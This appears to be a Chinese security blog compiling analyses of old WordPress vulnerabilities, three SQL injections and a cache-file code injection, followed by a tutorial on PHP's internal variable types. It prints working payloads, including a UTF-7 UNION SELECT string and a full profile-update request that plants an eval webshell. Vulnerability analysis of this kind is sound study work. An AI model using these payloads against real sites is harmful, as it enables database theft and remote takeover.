Wordpress 2.0.5 - Trackback UTF-7 SQL injection分析

Wordpress 2.0.5 - Trackback UTF-7 SQL injection

  • 影响条件:

  • 程序:WordPress

  • 版本: ?->2.0.5

  • 严重程度:高危

正文

由于这些漏洞都是在exploit-db上面扒下来的exp,再通过exp的作用来分析程序漏洞.所以有时候exp写的比较让人难以理解,可以通过wireshark抓包来进行分析.

这个漏洞expolit-db里的exp名称是
WordPress 2.0.5 - Trackback UTF-7 - Remote SQL Injection Exploit

由于这个漏洞是注入,可以选择在wp-includes/wp-db.phpprint_error()函数里面下一个断点,OS X里可以使用macGDBp配合MAMP搭建测试环境,很方便.

我在print_error()里下了一个断点

    function print_error($str = '') {
        xdebug_break();  //断点在这里
        global $EZSQL_ERROR;
        if (!$str) $str = mysql_error();
        $EZSQL_ERROR[] = 
        array ('query' => $this->last_query, 'error_str' => $str);

        // Is error output turned on or not..
        if ( $this->show_errors ) {
            // If there is an error then take note of it
            print "<div id='error'>
            <p class='wpdberror'><strong>WordPress database error:</strong> [$str]<br />
            <code>$this->last_query</code></p>
            </div>";
        } else {
            return false;    
        }
    }

运行一遍exp
03F08447-8CE2-4ED0-8039-BB9CA8797868.png

可以看到wireshark监听loopback已经抓到了以下的几个http数据包

FA9877B1-45D0-4BF7-949E-B943F7AC4675.png

在No.82 http数据包中看到了明显的payload
08E21E8D-45BC-412D-9801-58AC445496C0.png

将这个数据包放在burp里面重放,回到macGDBp里面查看截断的情况.

B447920E-8011-4A13-83A1-4AB74604614D.png

$blog_name是可以传入注入语句的参数.

可以看到 $blog_name先是被赋值给了$comment_author之后再被打包传入了wp_new_comment()处理
382A7665-8238-441F-818B-703083DEEA9B.png

再wp_new_comment()函数中调用了一个函数来检测相对应的帖子之前是否有使用过trackback功能评论过,所以进行了数据库查询

    if ( $wpdb->get_var($dupe) )
        die( __('Duplicate comment detected; it looks as though you\'ve already said that!') );

其中$dupe的语句就是

    $dupe = "SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = '$comment_post_ID' AND ( comment_author = '$comment_author' ";
    if ( $comment_author_email )
        $dupe .= "OR comment_author_email = '$comment_author_email' ";
    $dupe .= ") AND comment_content = '$comment_content' LIMIT 1";

我们可以看到没有经过任何处理的$comment_author就这样进入了sql语句中,进行了数据库的查询.

为什么用utf-7就可以注入呢?因为'号使用了utf-7编码的话,就绕过了编码函数,如果用utf-8编码的'号,会被防注入加上\

7C623354-4EF8-46C3-A6CC-5A1422E24B62.png

所以我们的payload只要用utf-7编码'符号为+ACc-,让mb_convert_encoding()函数再解码为'号就可以闭合前面的'号进行注入了.

所以构造的payload是

+ACc- AND 1=0) UNION SELECT 1 FROM wp_users WHERE ID=+ACc--1+ACc- /*

看了一看这个文件的其它最后进入数据库的参数,我发现了url这个参数也是可以注入的,最后进入的数据库查询的语句是这个
wp-trackback.php:87行

$dupe = $wpdb->get_results("SELECT * FROM $wpdb->comments WHERE comment_post_ID = '$comment_post_ID' AND comment_author_url = '$comment_author_url'");

WordPress <= 1.5.1.2 - xmlrpc Interface SQL Injection分析

WordPress <= 1.5.1.2 - xmlrpc Interface SQL Injection分析

  • 影响条件:

  • 程序:WordPress

  • 版本:<= 1.5.1.2

  • 严重程度:高危

基础知识

想要分析这个漏洞首先要了解xmlrpc的相关知识.

什么是xmlrpc?

xml rpc是使用http协议做为传输协议的rpc机制,使用xml文本的方式传输命令和数据调用远程的方法。

用wordpress xmlrpc.php的sayHello函数来演示一个例子

发送以下的xmlrpc数据包到wordpress的xmlrpc.php路径上,wordpress就会返回返回一个xmlrpc Response

POST /xmlrpc.php HTTP/1.1
Host: example.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Content-Length: 114

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>demo.sayHello</methodName>
</methodCall>

这是上面一个请求返回的数据包

E31985B9-FD8A-4813-B32E-5A80ABDA8DB9.png

我们可以看见在<string></string>标签中返回了一个Hello!

所以想要调用它的过程,只要遵循xmlrpc协议格式,例如以下

<?xml version="1.0"?>
<methodCall>
  <methodName></methodName>
  <params>
    <param>
        <value></value>
    </param>
  </params>
</methodCall>

漏洞分析正文

首先根据exp来定位漏洞点

<?xml version=\"1.0\"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>1'</string></value></param>
<param><value><string>http://wordpress1.5.1/?p=1#1</string></value></param>
<param><value><string>admin</string></value></param>
</params>
</methodCall>

上面这个xml文件是这个exp最核心的地方,我把原exp中填充payload的地方换成了1'

返回了如下数据,在这里可以看到返回数据库的错误提示信息

6A97CEB7-6745-48B9-BD52-E90070EC2449.png

来看一下整个执行流程

8D317E7F-120B-4BC2-94C7-98C5958030AD.png

#8中实例化了wp_xmlrpc_server()类,wp_xmlrpc_server()类是wordpress对IXR库的扩展,里面定义了wordpress xmlprc的API.

#3开始,流程就进入了wordpress所添加的api ->pingback_ping()中.

参数赋值语句

$pagelinkedfrom = $args[0];

args[0]哪来的?args是class IXR_Message中parse()函数处理之后返回的.

$data = $HTTP_RAW_POST_DATA;

$this->message = new IXR_Message($data);
        if (!$this->message->parse()) {
            $this->error(-32700, 'parse error. not well formed');
        }

我把上面的代码段给摘录出来,parse()解析了标签里面的内容.

解析出来的内容也就是args[0]直接赋值给了pagelinkedfrom没有经过任何处理直接拼接进了sql语句中.

        $result = $wpdb->get_results("SELECT * FROM $wpdb->comments WHERE comment_post_ID = '$post_ID' AND comment_author_url = '$pagelinkedfrom'");

导致的注入.

如果是导致数据库出错的sql语句可以看见它的内容不在xmlrpc response的标签里面

A89E1453-DE26-4594-91A5-843C2AA7BF30.png

因为调用到this->query()的函数中调用到了一个$this->print_error();函数.

这个函数是当发生数据库错误的时候显示上一条查询的sql语句

    function print_error($str = '') {
        global $EZSQL_ERROR;
        if (!$str) $str = mysql_error();
        $EZSQL_ERROR[] = 
        array ('query' => $this->last_query, 'error_str' => $str);

        // Is error output turned on or not..
        if ( $this->show_errors ) {
            // If there is an error then take note of it
            print "<div id='error'>
            <p class='wpdberror'><strong>WordPress database error:</strong> [$str]<br />
            <code>$this->last_query</code></p>
            </div>";
        } else {
            return false;    
        }
    }

所以说就是报错语句没有在xml里面的原因了

WordPress <= 1.5.1.1-(wp-includes/functions.php:555)注入

WordPress <= 1.5.1.1 - SQL注入分析

  • 影响条件:

  • 程序:WordPress

  • 版本:<= 1.5.1.1

  • 严重程度:高危

简要

在Wordpress调用模版时候,其功能之一是在右侧显示当前存档的类型,进行对应类型查询的时候没有使用干净的参数导致注入

正文

首先将断点下在问题点追寻处理流程

如下:
C3110BB5-4E9D-45E1-B40E-3A3E031C4AD2.png

这是最后参数被污染之后所处的位置

546EC9F9-E58D-453F-846F-3BDF73FC1D9E.png

为了理解wordpress的漏洞就要研究wordpress的整个处理流程.

我们可以看到#8中的代码

index.php

<?php 
/* Short and sweet */
define('WP_USE_THEMES', true);
require('./wp-blog-header.php');
?>

很简单的两行代码

Short and sweet:grinning:

包含了wp-blog-header.php

wp-blog-header.php主要进行了一些配置文件的初始化,以及对 GET传入的参数进行了构建。

构建好参数之后经过处理,应用到对应的模板上面.

构建参数在主要是如下代码

// Call query posts to do the work.

    $posts = &query_posts($query_string);

query_posts()函数的函数原型,如下:

function &query_posts($query) {
    global $wp_query;
    return $wp_query->query($query);
}

query_posts申明了一个$wp_query的全局变量,这是很重要的一个全局变量.

query()函数原型,如下:

    function &query($query) {
        $this->parse_query($query);
        return $this->get_posts();
    }

query函数做了对参数的解析赋值,之后return调用了一个get_posts()函数这个函数做了很多拼接并进行数据库查询语句的动作.

我还发现了,在#4中的load_template()

function load_template($file) {
    global $posts, $post, $wp_did_header, $wp_did_template_redirect, $wp_query,
        $wp_rewrite, $wpdb;

    extract($wp_query->query_vars);

    require_once($file);
}

这里的extract($wp_query->query_vars);貌似是一段废代码,因为$wp_query->query_varsNULL,extract()接受的参数是array.

#29E14F734-4D79-4D7F-A356-9F4FFA32B805.png

这个函数从$wp_query中取出了cat参数被污染的值,并且最终传入了functions.php中的get_category()拼接的语句中执行了注入的语句.

D651BF01-6F92-4489-9443-F775DBF723C0.png

WordPress <= 2.0.2 - (cache) 代码注入分析

WordPress <= 2.0.2 - (cache) Remote Shell Injection Exploit

  • 影响条件:

  • 程序:WordPress

  • 版本:<= 2.0.2

  • 严重程度:高危

简要

这个漏洞问题出在WordPress生成的序列化后的缓存文件中.因为缓存文件的后缀为php,文件的内容可控,并且文件名在一定条件下可预见,所以在一定条件下可以getshell

正文

首先下断点在生成问题文件的地方

程序流程图

59B30757-C04B-4CA4-A53C-4DAC4A949B7F.png

出问题的是
wp-includes/cache.php
文件中的save()函数

save()函数序列化了用户的资料之后再保存到
wp-content/cache/userlogins,wp-content/cache/users这两个目录底下,因为序列化后的文件的后缀是.php所以只要想办法插入我们的恶意代码并且让PHP-cgi执行就好了.

                $cache_file = $group_dir . md5($id . DB_PASSWORD) . '.php';
                // Remove the cache file if the key is not set.
                if (!isset ($this->cache[$group][$id])) {
                    if (file_exists($cache_file))
                        @ unlink($cache_file);
                    continue;
                }

save()函数中生成的缓存文件名方法是md5($id . DB_PASSWORD).所以我们需要知道$id与DB_PASSWORD.

$id的其中一个值就是管理员的帐号,一般都有一个帐号叫做admin.所以md5('admin'.'数据库密码')就是包涵恶意代码的文件名.

因为写入的文件内容由//开头

9BF92DB3-5D7C-4107-819D-FCAF6F58AC1A.png

如果不输入一个换行符的话,会被始终认为其后的内容是注释,所以需要加入回车符号,经过url编码后的回车符号是%0D并且需要在后面再加上//防止后面序列化的字符被程序认为是我们想要执行的代码,所以最终的payload就是

//%0D@eval($_POST['c']);%0D//

这个漏洞的利用条件是:

  1. 文件夹有写入权限

  2. cache功能打开

  3. 知道用户的ID与数据库密码(可能为空)

发送以下完整payload,就可以在wp-content/cache/userlogins或者wp-content/cache/users/中getshell了

from=profile&checkuser_id=1&user_login=admin&first_name=123&last_name=&nickname=test&display_name=//%0D @eval($_POST['c']);%0D//&email=admin@example.com&url=http%3A%2F%2F&aim=&yim=&jabber=&description=&pass1=&pass2=&rich_editing=true&submit=Update+Profile+%C2%BB

修复方案:
1.将生成的文件命名为不可执行后缀例如.txt

从PHP源代码学习PHP--PHP类型

u=3778279685,2362934562&fm=58.jpeg

PHP类型

PHP类型基础知识

PHP是弱类型语言(依照laruence的说法是一种中强类型语言)

所谓的弱类型就是在申明一个变量的时候,并不需要显式指明它保存的数据的类型,在程序执行的过程中可以根据需求动态的改变变量的类型.

那PHP是如何实现这个功能的呢?

首先PHP定义了一个保存变量的结构体(C语言)

typedef struct _zval_struct zval;

typedef union _zvalue_value {
    long lval;                    /* long value */
    double dval;                /* double value */
    struct {
        char *val;
        int len;
    } str;
    HashTable *ht;                /* hash table value */
    zend_object_value obj;
    zend_ast *ast;
} zvalue_value;

struct _zval_struct {
    /* Variable information */
    zvalue_value value;        /* value */
    zend_uint refcount__gc;   /* PHP的内存回收机制需要这个值,现在我们并不需要对它特别关注 */
    zend_uchar type;    /* active type */
    zend_uchar is_ref__gc;
};

保存变量的地方是_zvalue_value,_zvalue_value定义了一个联合体①来储存用户输入的变量

_zvalue_value可以把内存中的值相对应的解释为longdoublestr等类型,比较特殊的有三种HashTable *ht(数组)obj(对象)*ast(资源)

这个变量是什么类型由zend_uchar type; /* active type */决定,

type的种类在Zend/zend.h:583-601中定义.

/* data types */
/* All data types <= IS_BOOL have their constructor/destructors skipped */
#define IS_NULL        0
#define IS_LONG        1
#define IS_DOUBLE    2
#define IS_BOOL        3
#define IS_ARRAY    4
#define IS_OBJECT    5
#define IS_STRING    6
#define IS_RESOURCE    7
#define IS_CONSTANT    8
#define IS_CONSTANT_AST    9
#define IS_CALLABLE    10

#define IS_CONSTANT_TYPE_MASK        0x00f
#define IS_CONSTANT_UNQUALIFIED        0x010
#define IS_LEXICAL_VAR                0x020
#define IS_LEXICAL_REF                0x040
#define IS_CONSTANT_IN_NAMESPACE    0x100

#define IS_CONSTANT_TYPE(type) (((type) & IS_CONSTANT_TYPE_MASK) >= IS_CONSTANT && ((type) & IS_CONSTANT_TYPE_MASK) <= IS_CONSTANT_AST)

PHP中实现转换就是当zval.type = IS_LONG是,就把结构体里的value转换成long型,当zval.type = IS_STRING时,就把结构体里面的value转换成str类型

明白了以上基础知识就可以来探究zval.type会在哪些场景带来哪些问题了.


①为什么要用联合体呢?

K&R<<Pointer on C>>中我们可以翻阅到这么一段文字

联合的声明和结构类似,但它的行为方式却和结构不同.联合的所有成员引用的是内存中相同的位置.当你想在不同的时刻把不同的东西储存在同一个位置的时候,就可以使用联合.

联合体可以用来动态的表示同一个内存中的值的类型.假如使用结构体来储存用户输入地变量的话,那么假设用户输入了1,如果想要把1char,int,double等等来表示的话,就会成倍的增加内存占用.